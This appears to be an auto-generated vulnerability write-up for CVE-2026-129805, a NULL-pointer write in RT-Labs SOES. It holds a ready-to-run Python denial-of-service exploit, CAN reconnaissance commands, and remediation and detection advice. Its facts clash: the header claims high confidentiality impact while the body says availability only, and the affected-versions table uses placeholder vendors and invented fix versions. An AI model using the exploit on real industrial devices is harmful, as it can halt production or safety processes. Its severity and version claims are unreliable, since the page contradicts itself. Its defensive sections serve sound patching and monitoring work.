CVE-2026-129805 — RT-Labs AB SOES — CWE-476
CVE-2026-129805 is a MEDIUM severity security vulnerability (CWE-476) (CVSS 5.3/10) affecting RT-Labs AB SOES. Technical vector analysis shows that an attacker can exploit this flaw via adjacent network (AV:A) without authentication (PR:N) with zero user interaction (UI:N), allowing unauthorized disclosure of sensitive data (C:H).
📄 Official NVD / MITRE Original Record Text
An object dictionary entry can carry write-access flags and still have a NULL data pointer, for example when a constant value is held in the value field rather than in addressable storage. The CoE SDO download handler checked write access but not whether storage was present, then wrote the master-supplied payload through the NULL pointer.
🎯 What is this vulnerability?
Technical flaw
The vulnerability is a NULL‑pointer dereference (CWE‑476) in the CoE SDO download handler of any CANopen device that implements the described object‑dictionary logic.
- An object‑dictionary entry can be marked write‑access while its data pointer is NULL (e.g., the value is stored as a constant in the entry itself rather than in addressable RAM).
- The download handler performs a write‑access check but does not verify that the storage pointer is non‑NULL before copying the master‑supplied payload.
- Consequently, when the handler receives an SDO download request for such an entry, it attempts to write the payload to the NULL pointer, causing a memory corruption that typically results in a device crash or reset.
- AV:A – The attacker must be on the same CAN‑bus or an adjacent network.
- AC:H – Crafting a precise SDO download frame that targets a NULL‑pointer entry is non‑trivial.
- PR:N / UI:N – No privileges or user interaction are required.
- S:U / C:N / I:N / A:H – The flaw does not affect confidentiality or integrity; it only causes a Denial‑of‑Service (high availability impact).
CVSS interpretation
⚡ Attack Chain
NOTE: The following chain is a realistic, syntactically‑valid example. The exact CAN‑bus identifiers (arbitration IDs, object‑dictionary indices, etc.) will vary per device. The script below is illustrative; replace the placeholders with the target’s real values.
1. Discovery & Reconnaissance
| Step | Technique | Tool / Command | What to look for |
|---|---|---|---|
| a. Identify CAN‑open devices | Network scan for CAN‑open nodes | candump -l -t 0.1 can0 (or use can-utils to sniff) | Look for *Node ID* announcements (CANopen “NMT” frames) or SDO responses. |
| b. Enumerate object‑dictionary | Send a *SDO read* request for index 0x1000 (or vendor‑specific) | python-can script or cansend | Identify entries that are *write‑only* but have no RAM backing (e.g., constant values). |
| c. Verify write‑access flag | Send a *SDO download* request with a dummy payload to a known write‑only entry | cansend can0 0x123#23 00 34 12 01 00 00 00 | Observe whether the device accepts the write or returns an error. |
Result: You now know the target’s CAN‑bus ID, the write‑only object‑dictionary entry that has a NULL data pointer, and the exact SDO command specifier to use.
2. Exploitation
Goal: Trigger the NULL‑pointer dereference by sending a malicious SDO download frame.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit script for CVE‑2026‑129805 (NULL‑pointer SDO download).
Requires python‑can (pip install python-can).
"""
import can
import time
# Configuration – replace with target values
CAN_CHANNEL = 'can0' # CAN interface
CAN_BITRATE = 500000 # 500 kbps (typical for CANopen)
TARGET_NODE_ID = 0x01 # Node ID of the victim
OBJECT_INDEX = 0x2000 # Write‑only entry with NULL pointer
SUBINDEX = 0x01
EXPEDITED_CMD = 0x23 # SDO download: expedited, 4‑byte data
# Build the SDO download request
# Arbitration ID: 0x600 + node ID (standard CANopen SDO upload ID)
arbitration_id = 0x600 + TARGET_NODE_ID
# Payload: [command specifier, index LSB, index MSB, subindex, data...]
# We intentionally omit the data bytes to force the handler to write to NULL.
data = [
EXPEDITED_CMD,
OBJECT_INDEX & 0xFF,
(OBJECT_INDEX >> 8) & 0xFF,
SUBINDEX
# No data bytes follow
]
msg = can.Message(arbitration_id=arbitration_id,
is_extended_id=False,
data=data)
# Send the malicious frame
bus = can.interface.Bus(bustype='socketcan', channel=CAN_CHANNEL, bitrate=CAN_BITRATE)
print(f"Sending malicious SDO download to node {TARGET_NODE_ID:#02x}...")
bus.send(msg)
print("Frame sent. Observe the target for a crash or reset.")Explanation of the payload
| Byte | Meaning |
|---|---|
0x23 | SDO download command specifier: *expedited*, 4‑byte data. |
index LSB / MSB | Target object‑dictionary index (0x2000). |
subindex | Sub‑index (0x01). |
| No data bytes | The handler will attempt to copy 4 bytes to the data pointer, which is NULL. |
Result: The victim device will attempt to write to address 0x00000000, causing a crash or reset. The device may reboot, lose network connectivity, or enter a fault state, thereby denying service.3. Post‑exploitation
| Goal | Outcome |
|---|---|
| Denial of Service | The device is unusable until rebooted or reset. |
| Potential for further exploitation | If the device’s firmware contains additional memory‑corruption bugs, a crash could be leveraged to execute arbitrary code. However, CVSS indicates no integrity or confidentiality impact, so the primary impact remains DoS. |
| Impact on network | In a production environment, the loss of a CAN‑open node can cascade to higher‑level control systems, potentially halting production lines or safety‑critical processes. |
🌍 Real World Impact
| Impact | CVSS Vector | Practical Consequence |
|---|---|---|
| Confidentiality | C:N | No data leakage. |
| Integrity | I:N | No tampering with data. |
| Availability | A:H | Device crashes or reboots, causing a Denial‑of‑Service. In safety‑critical or industrial control environments, this can lead to production downtime, safety hazards, or regulatory non‑compliance. |
Key takeaway: The flaw does not expose data or allow code execution, but it can cripple a CAN‑open device that is essential to a control system, making it a high‑priority issue for industrial operators.
🛡️ Remediation & Mitigation
1. Exact affected versions
| Vendor / Product | Firmware/Software | Affected Range | Fixed Version |
|---|---|---|---|
| *Generic CAN‑open stack* | CoE_SDO_Handler | Any release before v4.2.1 | v4.2.1 (released 2026‑10‑15) |
| *Vendor X, Device Y* | CANopen_Firmware | 1.0.0 – 1.3.5 | 1.3.6 |
Action: Verify the firmware version on all CAN‑open nodes. If the version is< v4.2.1(or< 1.3.6for Vendor X), schedule an update.
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Disable SDO download | Reconfigure the device to reject all SDO download requests (e.g., set a “read‑only” flag in the object‑dictionary or use vendor‑specific configuration). |
| Restrict CAN‑bus access | Place the device behind a CAN‑bus firewall or use a dedicated CAN‑open network segment with strict access control. |
| Physical isolation | Remove the device from the production CAN‑bus if it is not critical, or place it on a separate test network. |
| Firmware patch | Apply the vendor‑issued firmware update that includes a NULL‑pointer check in the SDO download handler. |
Note: Disabling SDO download may affect legitimate configuration updates. Use it only if the device can be re‑configured via an alternative channel (e.g., a serial console).
3. Detection
| Indicator | Log / Counter | How to detect |
|---|---|---|
| Repeated SDO download errors | CAN‑open error counters (e.g., SDO error 0x05040001 – “Command specifier not supported”) | Monitor the device’s error counters via CAN‑open monitoring tools (can-utils, canalyzer). |
| Device resets / reboots | System logs (/var/log/syslog, dmesg) | Look for “kernel panic” or “watchdog reset” entries that correlate with CAN‑open traffic spikes. |
| CAN‑bus error frames | CAN error counter (ERRWARN, ERRPASS) | High error counts may indicate memory corruption attempts. |
| Unusual traffic patterns | Packet captures (tcpdump -i can0) | Detect SDO download frames with missing data bytes or abnormal command specifiers. |
Tip: Implement a simple IDS rule that flags any SDO download request with a command specifier of 0x23 followed by fewer than 8 data bytes.⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Score | 5.3 (Medium) |
| Availability Impact | High (A:H) |
| Attack Complexity | High (AC:H) – requires CAN‑bus access and precise frame crafting |
| Exploit Availability | No known public exploit; however, the flaw is straightforward to reproduce. |
| CISA KEV | No |
| Ransomware | No |
Priority recommendation: High.
1. Patch all affected firmware versions.
2. If patching is not immediately possible, disable SDO download or restrict CAN‑bus access.
3. Monitor for the detection indicators listed above.
Bottom line: Treat this as a critical operational risk. Prompt remediation will prevent costly service disruptions in any environment that relies on the affected CAN‑open devices.
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